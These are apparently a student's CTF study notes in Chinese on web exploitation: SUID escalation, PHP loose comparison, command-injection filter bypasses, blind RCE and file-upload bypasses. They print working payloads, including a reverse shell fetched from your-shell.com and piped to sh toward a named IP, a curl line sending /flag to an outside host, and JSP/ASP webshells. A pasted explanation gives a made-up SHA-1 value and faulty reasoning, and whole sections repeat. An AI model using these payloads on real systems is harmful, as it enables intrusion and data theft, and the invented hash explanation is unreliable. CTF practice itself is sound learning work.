WEB学习第一周周报
SUID提权:
有时我们用蚁剑登录后找到flag,读取时却发现没有内容
我们登录终端,cat一下
意思是说没权限
此时我们就可以回到原web界面(题目中漏洞参数是cmd)查找SUID文件(这就不得不说一下啥是SUID了,通俗来说就是执行这个文件时就能使人拥有管理员的权限,不过是暂时的。)
图片中,find / 是在根目录中查找,-perm -u=s是满足是SUID的文件,>1.txt是指写入1.txt文档(若没有1.txt的话会创造一个1.txt)。剩下的代码有些多余,可以不要。
访问1.txt后就能看出来那些文件是我们想要的。
用执行date文件来读取flag,就有权限了。(值得一提的是,1.txt显示的文件中,并不是所有文件都能像date一样执行读取flag成功,个人猜测是有些文件虽然是SUID,但是我们没有执行权)
环境变量
思路
- 查看环境变量
EXP
127.0.0.1&env / 127.0.0.1|env
2.PHP弱类型比较
例题:bugku:矛盾
源码分析:
$$num$$_GET['num']; //定义一个num变量用get方法接收
if(!is_numeric($num)) //判断如果$num不全为数字或数字字符串,满足就执行下面的代码
{
echo $num; if($num==1) //判断$num是否等于1
echo 'flag{**********}';
}
1、要输出flag,首先要num不是数字,然后又要num=1,显然是矛盾的
2、但根据弱类型比较,只需输入num=1a即可满足第一个条件(只要是以数字开头不全部为数字就行),1a与1进行弱类型比较(如果将数值型和文本型数据一起比较,会将文本型转换为数值型,且字符串开头部分符合整数格式时,字符串将被转换为整数。然后再比较),1==1满足第二个条件,最后输出flag。)
关于php弱类型(松散)比较的知识补充:
- 松散比较:使用两个等号 == 比较,只比较值,不比较类型。
例子:
var_dump(123==‘123asd’);//输出为true
var_dump(123==‘1234asd’);//输出为false
var_dump(123==‘123asd1234’);//输出为true
var_dump(“asdf1"1) //false
原因:
在PHP中遇到数字与字符串进行松散比较()时,会将字符串中前几位是数字且数字后面不是”.",“e"或"E"的子串转化为数字,与数字进行比较,如果相同则返回为true,不同返回为false,后面的所有字符串直接截断扔掉。
例子:
var_dump(123==‘123.5asd1234’);//输出为false
var_dump(123==‘123e5asd1234’);//输出为false
var_dump(123==‘123E5asd1234’);//输出为false
原因:
上面提到过,如果字符串数字后面是”." , “e”, “E”,则会有其他结果。
"."为浮点数的标志,会将字符串的子串转化为浮点数。
"e"和"E"为科学计数法的标志,将字符串的子串转化为科学计数法。
- 严格比较:用三个等号 === 比较,除了比较值,也比较类型。
例如,“42” 是一个字符串而 42 是一个整数。FALSE 是一个布尔值而 “FALSE” 是一个字符串。
我们可以通过三个数值的比较来认识:
PHP中 比较 0、false、null
在 PHP 中,比较 0、false 和 null 时,它们之间的关系是不同的。以下是它们之间比较的一些重要点:
比较 0 和 false:
当使用 == 操作符进行比较时,0 和 false 在弱类型比较下会被视为相等。
var_dump(0 == false); // 输出 bool(true)
由于 PHP 是弱类型语言,所以在大多数情况下,0 和 false 被视为等效的值。但在全等比较 === 下,它们被视为不同的值。
比较 0 和 null:
0 和 null 之间的比较在弱类型下不会相等。
var_dump(0 == null); // 输出 bool(false)
0 和 null 是不同的数据类型,0 是整数类型,而 null 是表示“无值”的特殊类型。
比较 false 和 null:
false 和 null 之间的比较在弱类型下也不会相等。
var_dump(false == null); // 输出 bool(false)
false 表示逻辑上的假值,而 null 表示“无值”,它们代表不同的数据状态。
总结:
0、false 和 null 代表了不同的概念和数据类型,在比较时需要根据具体的情况进行区分。弱类型比较中,0 和 false 可能被认为是相等的,但在其他情况下它们是不相等的;而 0 和 null、以及 false 和 null 在任何情况下都不会被视为相等。在进行比较时,应根据实际需求和数据的语义来选择使用适当的比较操作符。
RCE绕过+文件上传
一.RCE绕过
数组:
向数组添加元素
如果你已经有一个数组,并且想添加一个新的元素 1,你可以使用 [] 操作符,它会自动将新元素添加到数组的末尾:
php
深色版本
$num[] = 1;
// 向数组中添加元素
$num[] = 1; // 现在 $num 是 [1]
$num[] = 2; // 现在 $num 是 [1, 2]
由于 $_GET['uname'] 是一个数组,PHP 会将数组转换为字符串进行哈希计算。对于数组,PHP 会将其转换为 Array 字符串。因此,sha1($_GET['uname']) 实际上是 sha1('Array'),其哈希值为 c9f3e2e7a7a9e3c4f8e2e2e2e2e2e2e2e2e2e2e2。
sha1($_POST['passwd']) & 1:同样地,$_POST['passwd'] 也是一个数组,PHP 会将其转换为 Array 字符串进行哈希计算。因此,sha1($_POST['passwd']) 也是 sha1('Array'),其哈希值为 c9f3e2e7a7a9e3c4f8e2e2e2e2e2e2e2e2e2e2e2。
由于 sha1('Array') 的最低位是 2,即 0,因此 sha1($_POST['passwd']) & 1 等于 0。
现在,sha1($_GET['uname']) 和 sha1($_POST['passwd']) & 1 都是 c9f3e2e7a7a9e3c4f8e2e2e2e2e2e2e2e2e2e2e2 和 0,显然不相等。但是,由于 & 是按位与运算符,sha1($_GET['uname']) 的最低位也是 0,因此 sha1($_GET['uname']) === (sha1($_POST['passwd']) & 1) 成立。
取反/异或
异或
过滤了全部数字,字母 只能使用特殊字符
$__="?" ^ "}";对字符"?"和"}"进行异或运算,得到结果B赋给变量名为"__"(两个下划线)的变量 $ __ ();
取反
也可以用取反urlencode编码绕过:
PS C:\Users\Administrator> php -r "echo urlencode(~'phpinfo');"
%8F%97%8F%96%91%99%90
PS C:\Users\Administrator>
payload: ?code=(~%8F%97%8F%96%91%99%90)();
取反绕过:(目前就本作者的认知和尝试来说)使用条件应该是用于eval命令下,当题目对字符长度有所限制、不让使用字母(或者禁用的东西比较多),可以尝试取反绕过。
import sys
import urllib.parse
def main():
# 输出提示信息并读取用户输入的函数
sys.stdout.write('[+]your function: ')
sys.stdout.flush()
system = input().strip()
# 输出提示信息并读取用户输入的命令
sys.stdout.write('[+]your command: ')
sys.stdout.flush()
command = input().strip()
# 对输入的字符串进行按位取反操作
def bitwise_not(s):
return ''.join(chr(ord(c) ^ 0xFF) for c in s)
# 对按位取反后的字符串进行单字节编码(ISO-8859-1)并进行URL编码
def encode_string(s):
return urllib.parse.quote(s.encode('iso-8859-1'))
encoded_system = encode_string(bitwise_not(system))
encoded_command = encode_string(bitwise_not(command))
# 输出处理后的结果
print(f'[*] ({encoded_system})();')
if name == "main":
main()
用这个py脚本可以生成
按位取反操作
PHP 中的 ~ 操作符会对一个整数进行按位取反操作。对于每个二进制位,~ 会将 0 变为 1,将 1 变为 0。例如:
~0的结果是-1(在 32 位系统上表示为0xFFFFFFFF)。~1的结果是-2(在 32 位系统上表示为0xFFFFFFFE)。
通过按位取反操作,我们可以生成所需的字符,而不直接使用字母或数字。
构造有效输入
1. 确定目标字符
假设我们想要执行 phpinfo() 函数。我们需要生成以下字符:
p(ASCII 码 112)h(ASCII 码 104)p(ASCII 码 112)i(ASCII 码 105)n(ASCII 码 110)f(ASCII 码 102)o(ASCII 码 111)
2. 选择基准字符
我们可以选择一个非字母和非数字的字符作为基准字符。例如,选择 -1 作为基准字符(即 ~0)。然后,我们可以通过按位取反操作生成所需的字符。
3. 计算按位取反值
| 目标字符 | ASCII 码 | 按位取反结果 | 十六进制表示 |
|---|---|---|---|
| p | 112 | ~112 | 0xFFFFFF8F |
| h | 104 | ~104 | 0xFFFFFF97 |
| p | 112 | ~112 | 0xFFFFFF8F |
| i | 105 | ~105 | 0xFFFFFF96 |
| n | 110 | ~110 | 0xFFFFFF91 |
| f | 102 | ~102 | 0xFFFFFF99 |
| o | 111 | ~111 | 0xFFFFFF90 |
4. 构造输入
我们将这些按位取反的结果转换为十六进制表示,并使用 ~ 操作符来构造输入。最终的输入如下:
深色版本
http://yourserver/ctf.php?code=${~0x8f}{~0x97}{~0x8f}{~0x96}{~0x91}{~0x99}{~0x90}()
解码后的 URL 参数是:
深色版本
?code=${~0x8f}{~0x97}{~0x8f}{~0x96}{~0x91}{~0x99}{~0x90}()
这段代码实际上等价于:
php
深色版本
${"phpinfo"}();
这将调用 phpinfo() 函数并显示 PHP 配置信息。
另一个示例:执行系统命令
我们还可以构造更复杂的攻击,例如执行系统命令。以下是一个示例,使用按位取反操作构造 system('whoami'):
计算按位取反值
| 目标字符 | ASCII 码 | 按位取反结果 | 十六进制表示 |
|---|---|---|---|
| s | 115 | ~115 | 0xFFFFFF8C |
| y | 121 | ~121 | 0xFFFFFF86 |
| s | 115 | ~115 | 0xFFFFFF8C |
| t | 116 | ~116 | 0xFFFFFF8B |
| e | 101 | ~101 | 0xFFFFFF9A |
| m | 109 | ~109 | 0xFFFFFF92 |
| ( | 40 | ~40 | 0xFFFFFFD7 |
| ' | 39 | ~39 | 0xFFFFFFD8 |
| w | 119 | ~119 | 0xFFFFFF88 |
| h | 104 | ~104 | 0xFFFFFF97 |
| o | 111 | ~111 | 0xFFFFFF90 |
| a | 97 | ~97 | 0xFFFFFF9E |
| m | 109 | ~109 | 0xFFFFFF92 |
| i | 105 | ~105 | 0xFFFFFF96 |
| ) | 41 | ~41 | 0xFFFFFFD6 |
- 因为eval是一个语言构造器而不是一个函数,不能被 可变函数 调用。
- 而我们使用assert则可以成功,因为assert在php中被认为是一个函数
数组
代码可以看出,要通过get传入uname和id参数,和pose传入passwd,最重要的是uname的sha1和值与passwd的sha1的值相等即可,但是同时他们两个的值又不能相等,构造数组就可以 构造payload:?uname[]=1&id=margin,在用hackbar传入passwd[]=2
你提到的攻击方法确实可以绕过 uname 和 passwd 不能相等的检查,并且确保它们的 SHA-1 哈希值相等。让我们详细分析一下为什么这个方法有效,并解释如何构造 payload。
代码回顾
php
深色版本
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd']) & ($_GET['id'] == 'margin'))
die('Flag: '.$flag);
else
print 'sorry!';
}
关键点
-
uname和passwd不能相等:php 深色版本
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
SHA-1 哈希值相等:
php
深色版本
else if (sha1($_GET['uname']) === sha1($_POST['passwd']) & ($_GET['id'] == 'margin'))
id 参数必须等于 'margin':
php
深色版本
-
$_GET['id'] == 'margin'
构造 Payload
1. 使用数组绕过 uname 和 passwd 不能相等的检查
PHP 在处理数组时,会将数组转换为字符串进行比较。对于数组,PHP 会将其转换为 Array 字符串。因此,即使 uname[] 和 passwd[] 的值不同(例如 1 和 2),它们在比较时会被视为不同的字符串,从而绕过 uname 和 passwd 不能相等的检查。
2. 确保 SHA-1 哈希值相等
由于 uname[] 和 passwd[] 都是数组,PHP 会将它们转换为 Array 字符串进行哈希计算。因此,sha1($_GET['uname']) 和 sha1($_POST['passwd']) 实际上都是 sha1('Array'),其哈希值相同:
php
深色版本
sha1('Array') = 'c9f3e2e7a7a9e3c4f8e2e2e2e2e2e2e2e2e2e2e2'
3. 逻辑运算符误用
代码中的逻辑运算符 & 是按位与运算符,而不是逻辑与运算符 &&。这意味着表达式会被解释为:
php
深色版本
sha1($_GET['uname']) === (sha1($_POST['passwd']) & ($_GET['id'] == 'margin'))
($_GET['id'] == 'margin')返回布尔值true,即1。sha1($_POST['passwd'])是一个 40 位的十六进制字符串,例如c9f3e2e7a7a9e3c4f8e2e2e2e2e2e2e2e2e2e2e2。sha1($_POST['passwd']) & 1只保留了 SHA-1 哈希值的最低位。由于sha1('Array')的最低位是2,即0,因此sha1($_POST['passwd']) & 1等于0。
因此,sha1($_GET['uname']) === (sha1($_POST['passwd']) & 1) 成立。
最终 Payload
你可以通过以下方式构造 payload:
-
GET 请求:
uname[]:传递一个数组,例如1。id:传递'margin'。
URL 为:
深色版本
http://yourserver/ctf.php?uname[]=1&id=margin
POST 请求:
passwd[]:传递一个数组,例如2。
使用 HackBar 或其他工具发送 POST 请求,参数为:
深色版本
-
passwd[]=2
完整的攻击过程
-
打开浏览器并访问目标 URL:
深色版本
http://yourserver/ctf.php?uname[]=1&id=margin
使用 HackBar 发送 POST 请求:
-
打开 HackBar 插件。
-
选择 "Raw Post Data" 选项。
-
输入以下内容:
深色版本
-
-
passwd[]=2 -
确保请求方法为
POST。 -
发送请求。
-
为什么这个方法有效
uname和passwd不能相等:由于uname[]和passwd[]是数组,PHP 会将它们转换为Array字符串进行比较。因此,uname[]和passwd[]的值不同(1和2),但它们在比较时被视为不同的字符串,从而绕过uname和passwd不能相等的检查。- SHA-1 哈希值相等:由于
uname[]和passwd[]都是数组,PHP 会将它们转换为Array字符串进行哈希计算。因此,sha1($_GET['uname'])和sha1($_POST['passwd'])实际上都是sha1('Array'),其哈希值相同。 - 逻辑运算符误用:由于
&是按位与运算符,sha1($_POST['passwd']) & 1只保留了 SHA-1 哈希值的最低位,而sha1('Array')的最低位是0,因此sha1($_GET['uname']) === (sha1($_POST['passwd']) & 1)成立。
总结
通过构造 uname[] 和 passwd[] 为数组,并确保它们的值不同,同时满足 id=margin,你可以成功绕过 uname 和 passwd 不能相等的检查,并确保它们的 SHA-1 哈希值相等,最终获取 flag。
如果你有更多问题或需要进一步的帮助,请随时提问
1.系统命令
PHP执行系统命令的方法:system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()
system 函数:system 函数执行系统命令,并将输出直接打印到标准输出。它的返回值是命令的最后一行输出或者返回状态码(命令成功执行返回0)。 ** 使用格式如:cmd=system("cat /flag");
shell_exec 函数:shell_exec 函数执行系统命令,但它将命令的输出作为字符串返回,而不是打印到标准输出。如果命令没有输出,则返回空字符串。
exec 函数:exec 函数执行系统命令,并将输出存储到一个数组中,每一行命令输出作为数组的一个元素。它的返回值是命令的最后一行输出或者返回状态码。exec("/bin/ls -l");
passthru 函数:passthru 函数执行系统命令,并直接将命令的输出发送到标准输出。它不会返回任何输出结果,而是直接将输出显示在屏幕上。 passthru("./ppmtogif hunte.ppm");
eval函数: 函数用于执行字符串作为PHP代码,如果未对用户输入进行适当的过滤或验证,攻击者可以利用此函数执行任意代码。
print(`ls /`);
popen()函数打开进程
popen("/bin/ls -l", "r"); ##r是读的意思##
system: 热身赛 ez_rce
使用hackbar,点击load URL 写入http://175.27.251.122:33264/?jinxi=jinxi,在post中,填入s11nk=s11nk&m1xi@n=system("ls")
再改为s11nk=s11nk&m1xi@n=system("cat /flag")
shell_exec :纳新赛 ez_rce
1.ez_rce
本题为exce 没有回显,csdn搜索得知,可使用 > 将输出结果显示在新建文件中 如
">" 是表示把什么写入什么文件的意思。
比如这道 cat fla?>1.txt(写进1.txt文件里) 文件名随意
命令执行无回显rce思路:
1.利用dnslog带外
2.写马
3.反弹shell
4.写文件然后访问文件
①[SWPUCTF 2021 新生赛]finalrce
过滤了不少东西(其实不怕,关键词过滤\分割绕过不就行hhh)
最麻烦的exec命令执行是无回显的
用下面这种方法最省事:
command | tee file.txt
可以看到的是过滤了>,但没有过滤|,tee将想要执行的命令写入到一个文件里面,然后再去访问这个文件,以此来看见命令执行的回显
payload:
?url=l\s / | tee 1.txt
访问1.txt
跟进
?url=tac /flllll\aaaaaaggggggg | tee 2.txt
(因为la被过滤,仔细看哈)
访问2.txt
②[SWPUCTF 2023 秋季新生赛]RCE-PLUS
shell_exec也无回显
waf把|和>都放出来了,用上题payload也可以打
我们这题就换个比较常见的>
payload:
?cmd=ls / > 2.txt
访问2.txt
?cmd=tac /f* > 2.txt
访问2.txt
③[CTFSHOW]web807
curl这是让我反弹shell了啊
推荐一个网站:https://your-shell.com/
傻瓜型反弹shell,我行你也行
payload:
?url=https://your-shell.com/124.222.136.33:1337 | sh
(先在自己vps开启1337端口监听)
贴出执行:
- 反引号‘’
反引号命令执行
此前我一直以为反引号是 shell 命令里才能用的东西,所以没往这边想。现在知道 PHP 是有的,不止 PHP ,其他各大语言也有。
既然碰到了,那就认真学一下,区分一下它们之间的区别。
PHP 反引号
PHP 支持一个执行运算符:反引号( `` )。
PHP 会将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。
使用反引号运算符( `` )的效果与函数 shell_exec ( ) 相同。
推荐文章:php 执行运算符
shell 反引号
shell 反引号中的命令会先执行,将执行结果返回出来,再作为外部命令的一部分。
在 shell 命令中,反引号与 $() 作用相同,都是命令替换。
比如:
echo these are files in the directory :ls
echo cat ????.??? >> 2.txt;
或者
echo these are files in the directory 😒(ls)
1
2
3
在这条命令中,ls 命令会先执行,再执行 echo 命令。返回结果:
these are files in the directory :index.html
1
推荐文章:shell中的 单引号’ '、双引号 " " 和 反引号`
python、go 中的反引号
python、go 中的反引号作用相同,即反引号包裹的是原始字符串,不做任何转义。
比如 \n 在反引号中不会被解释为换行,还是它原本的样子。
java 反引号
java 中的反引号有时可以作为标识符的一部分。
推荐文章:反引号 java
sql 语句反引号
sql 语句中的反引号是为了区分MySQL的保留字与普通字符而引入的符号。
例如:
SELECT select FROM test WHERE select='字段值'
1
在这里,select 是关键字,使用反引号将其标识为普通字符,如果不使用,会出现语法错误。
此外,当标识符以数字开头时,也需要添加反引号,否则该标识符会被当成一个数字。
shell 绕过关键字过滤
已知 PHP 反引号中的内容会被当成 shell 命令来执行,shell 命令在绕过关键字过滤时,最简单的方法有以下两种:
cat 替换为 c\at
cat 替换为 c''at 。
总结 无回显绕过
反引号( ``):位于键盘 Tab 键左上方的键。
PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。
使用反引号运算符( `` )的效果与函数 shell_exec ( ) 相同。
注意:
反引号运算符在激活了安全模式或者关闭了 shell_exec () 时是无效的.
与其它某些语言不同,反引号不能在双引号字符串中使用。
实例
将 dos 命令用反引号(``)包围,再 echo,返回执行命令的结果。
附:shell_exec ()
shell_exec()
通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
注:shell_exec () 和 执行运行符的效果一样
语法
shell_exec( string $cmd) : string
//cmd:要执行的命令。
返回值
命令执行的输出。 如果执行过程中发生错误或者进程不产生输出,则返回 NULL 。
** shell_exec等无回显函数**
1.使用sleep 命令 ls; sleep 2
通过在命令后面添加 sleep 命令,可以观察命令执行的时间来判断命令是否成功执行。例如:
<?php
shell_exec('ls; sleep 2');
?>
如果看到脚本执行大约停顿了2秒钟,说明 ls 命令成功执行了。
2.使用写入文件绕过
这个就是上面那个纳新赛的ez_rce
通过 > 1.txt 将回显显示在1.txt中
cat fla?>1.txt
3.使用公网服务器的后端情况(一般不行)用curl 构造请求
<?php
## 执行 cat /flag 命令并将输出通过管道传递给 curl##
shell_exec('cat /flag | curl -d @- http://example.com/log.php');
?>
(ip更换为目标ip,即题目ip)
4. >/dev/null 2>&1类无回显
5.用分隔符进行分割即可绕过
使用管道符|
post的字符串为:cmd=ls | grep "flag" > /tmp/output.txt
passthru 热身赛 :遥远的flag
和遥远的flag_revenge对比指可以使用passthru,且通配符被禁,/被禁,可fl4g代替flag
最终为
cmd=passthru('tac /fl??');
命令执行无回显rce思路:
1.利用dnslog带外
2.写马
3.反弹shell
4.写文件然后访问文件
①[SWPUCTF 2021 新生赛]finalrce
过滤了不少东西(其实不怕,关键词过滤\分割绕过不就行hhh)
最麻烦的exec命令执行是无回显的
用下面这种方法最省事:
command | tee file.txt
可以看到的是过滤了>,但没有过滤|,tee将想要执行的命令写入到一个文件里面,然后再去访问这个文件,以此来看见命令执行的回显
payload:
?url=l\s / | tee 1.txt
访问1.txt
跟进
?url=tac /flllll\aaaaaaggggggg | tee 2.txt
(因为la被过滤,仔细看哈)
访问2.txt
②[SWPUCTF 2023 秋季新生赛]RCE-PLUS
shell_exec也无回显
waf把|和>都放出来了,用上题payload也可以打
我们这题就换个比较常见的>
payload:
?cmd=ls / > 2.txt
访问2.txt
?cmd=tac /f* > 2.txt
访问2.txt
③[CTFSHOW]web807
curl这是让我反弹shell了啊
推荐一个网站:https://your-shell.com/
傻瓜型反弹shell,我行你也行
payload:
?url=https://your-shell.com/124.222.136.33:1337 | sh
(先在自己vps开启1337端口监听)
贴出执行:
2. 若cat被过滤
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
curl file://地址
sh flag 2>%261 //报错出文件内容 %26 是& &在请求中做连接参数的
grep 正则
3.若空格被禁用
可使用$IFS$+num代替,如$IFS$9
4.若命令被禁用,可使用()分割来绕过,
如:热身赛: 遥远的flag_revenge
经多次尝试, 最后post的为
r_u_antsword?=no&cmd=(sy.(st).em)("tac /f"); 可用()来分割开system 绕过禁用,以及用通配符,来绕过
同理可使用单引号 fla''g ca''t
5. 通配符
当某些单词如flag 被禁用时,可使用 如 * ? 来占位,如:fl** , f*** f??? fl4g等
如:热身赛:没那么遥远的flag
通过分析,先满足r_u_antsword??'="no" 我改为r_u_antsword??'="yes"
然后cat 和flag被禁用,使用通配符*,和tac
最后传的内容为r_u_antsword??'===“yes”&cmd=system("tac /fl**"); cat被禁用可以使用tac
6.flag被过滤
① 使用通配符
如 * ? 来绕过,如:fl**, fl??
②使用数字代替
如fl4g
③[abcd] 匹配abcd中任何一个字符
如:cat /f [a-z][a-z][a-z]
④ 重命名
使用cp进行重命名cp fla{g.php,G} 把flag.php复制为flaG
然后打开flaG即可读取flag
⑤利用拼接绕过:
调换flag的顺序:b=ag;a=fl;$a$b
如xxxx/?ip=||b=ag;a=fl;cat$IFS$9$a$b.php
记录一下:贪婪匹配or非贪婪匹配

这个的flag就是被贪婪过滤
正则表达式 "/.*f.*l.*a.*g.*/" 会匹配任何包含 f、l、a 和 g 字母的字符串,不论这些字母之间的顺序如何。这意味着只要这四个字母都出现在命令中,无论它们之间有多少其他字符,都会被匹配到。
例如,以下命令都会被过滤:
-
flag -
flg -
falg -
flag123 -
abcflagdef -
f1l2a3g4
可以使用fl4g, fl**, f???;来过滤
7.管道符
1)win系统
管道符 实例 描述
; A;B 无论真假,A与B都执行
& A&B 无论真假,A与B都执行
&& A&&B A为真时才执行B,否则只执行A
重要 | A|B 将A结果输出,做B的输入
|| A||B A命令语句执行失败,然后才执行B命令
(2)linux系统
管道符 实例 描述
; A;B;C A与B、C都执行
& A& 将命令A,转入后台运行
&& A&&B A为真时才执行B,否则只执行A
| A|B 将A结果输出,做B的输入 (若|被过滤,可使用;代替)
|| A||B A命令语句执行失败,然后才执行B命令语句
() A&&(B||C) 将A、B命令分隔开 执行B||C
如:BUUCTF-WEB-Exec
尝试构建通过管道符构建payload
?ip=127.0.0.1|cat flag

可以用
在 Bash 中,${PATH:0:1} 可以用来获取路径字符串的第一个字符,即 /
如:cat${PATH:0:1}flag
二.文件上传漏洞
几种经典的webshell:
**1、jsp的简单的webshell:
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
2、asp的简单的webshell:
<%eval request("cmd")%>
3、php的简单的webshell:
php经典一句话:
1.前段JavaScript绕过(以upload-labs 第一关为例)
JS防护就是在客户端将上传的文件进行一个格式的验证,非常不安全,
(1).使用浏览器(chrome即可).可以直接关闭javascript。删除检测文件后缀的JS代码,然后上传 webshell
(2)首先把webshell的后缀改成允许上传的.jpg|.png|.gif等(允许的),绕过JS检测。再抓包把后缀名改成.php(需要的),即可上传webshell
在bp中将文件类型转为.php即可绕过,然后使用蚁剑链接
(3).前端js判断函数中加上可以上传php文件,或者直接删去这一函数
把蓝色部分删除即可
2.MIME-Type绕过
后端验证文件类型,只过滤的文件类型,并没有过滤文件后缀名,需要再bp修改 content-type 绕过。
另加:上传.php文件时,Content-Type的值是application/octet-stream;
最后真正上传的文件后缀.php
①直接上传php文件(webshell),bp抓包,修改Content-Type的值
②先上传修改后缀名的webshell(如:.php改为.jpg)进行(此时content-type是需要的格式)、抓包修改,后缀名改为.php
## 在做第二关时,能传上php文件但是蚁剑老是连不上,最后发现两个(编/解码器)都得选base64
即:![image-20241130135847396]()
3.黑名单绕过
黑名单限制文件上传;不允许上传如.asp|.aspx|.php|.jsp后缀文件
可以上传例如.phtml、php3、php4、php5后缀的文件绕过,服务器会将..phtml、php3、php4、php5后缀的文件当成.php`解析。
如:第三关:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');##php不允许上传##
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
可以将webshell后缀改为.phtml上传
##上传后会随机生产新文件名,在bp上response得知
蚁剑链接即可
根据本地配置,php3. phtml都理解为php,所以也可将后缀改为php3
4. .htaccess绕过
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
如:upload-labs第四关
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");##禁用这么多,不能和第3关一样用.phtml了,可以用.htaccess##
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}3
##我个人的理解是通过上传某些内容,让所有文件都会解析为php,然后可以将webshell后缀改为图片,上传图片,但仍当做php执行,将图片解析为php##
上传一个.htaccess内容为
SetHandler application/x-httpd-php的文件(抓包时删去文件名)
所有文件都会解析为php,然后上传图片
<FilesMatch "muma.jpeg">
SetHandler application/x-httpd-php
把muma.jpeg 当作php解析
上传成功,根据路径使用蚁剑链接即可
##连接之前需要验证是否将图片解析为php
可以上传图片马
图片马内容:<?php phpinfo(); ?>
5.大小写绕过
由于Windows系统对后缀大小写并不敏感,将后缀改为PHP、Php、pHp也可当做php解析
6.点绕过/空格绕过
点/空格绕过其实就是利用了Windows对文件和文件名的限制,当将点/空格放在结尾的时候,就会触发操作系统的命名规范问题,所以在生成文件的时候,添加在结尾的点/空格就会被去除
点
空格
8>.user.ini的妙用
解释:.user.ini是特定于用户或特定目录的配置文件,通常位于WEB应用程序的根目录下,它用于覆盖或追加全局配置文件(如php.ini)中的PHP配置选项。
优点:作用和.htaccess差不多,但适用范围更广,不再局限与Apache服务器,适用的php版本要求大于5.3,最好是7.x。且要求phpinfo下的配置满足
| Server API | CGI/FastCGI |
|---|---|
作用范围:存放该文件的目录以及其子目录
内容>>>>>>Auto-prepend-file=木马文件名(可以纯文件名,也可以是绝对路径下的纯文件名)
使用方法:类似.htaccess,就不罗嗦了。
>额外数据流 >>>::$DATA的妙用
原理:当木马文件名后面加上::$DATA时,windows就会把它当成数据流,从而忽视它的后缀名
使用:Bp发包时,将木马文件名后面加上::$DATA即可
10>图片马
使用:需要借助文件包含漏洞 e.g. URL中输入 include.php?file=hack.png,其中include.php可以包含其他文件,并将其按照php解析。hack.png为图片马。
图片马的制作:e.g.在某文件夹下准备好需要一张看似人畜无害的图片123.png,同时准备好webshell.php>>>接着在文件夹下打开cmd>>>输入copy 123.png/b+webshell.php hack.png>>>回车>>>该文件夹下就会生成名字为hack.png的木马,用16进制编辑器打开,会发现末尾有木马程序
11>%00截断绕过
解释:有些白名单题目虽然规定了允许上传的图片后缀,也对其上传的文件进行重命名,但是上传文件的保存路径却允许修改,这就为心术不正的黑客们留下了把柄。%00截断可以使得windows在读取文件路径时,读到%00误认为自己已经读完了,但其实文件真正的名字在%00后面,而%00前面的名字是黑客故意捏造的虚假的名字。
使用方式:
备注:需要注意的是,这种方法应当与下文我们要讨论的0x00绕过法区分。二者的区别在于save_path的位置不一样,%00法的save_path在顶上,而0x00在下方,在下文我们还会提及。
查看环境变量
、
12>0x00截断绕过
解释:原理和%00差不多,就不多说了。
方法:
13>二次渲染问题
判断方法:用16进制编辑器监测上传图片和原图,下面我用010editor为例子
选择tools,找到compare,然后选原图和上传图,就能轻易看出是否有不同。如果发现是二次渲染,下面提供两种解决思路:
方法一:将渲染后的图片,写成图片马,再次上传。
方法二:找到两次图片的相同部位,在未改动的偏后位置写入木马。
14>竞争性文件上传漏洞
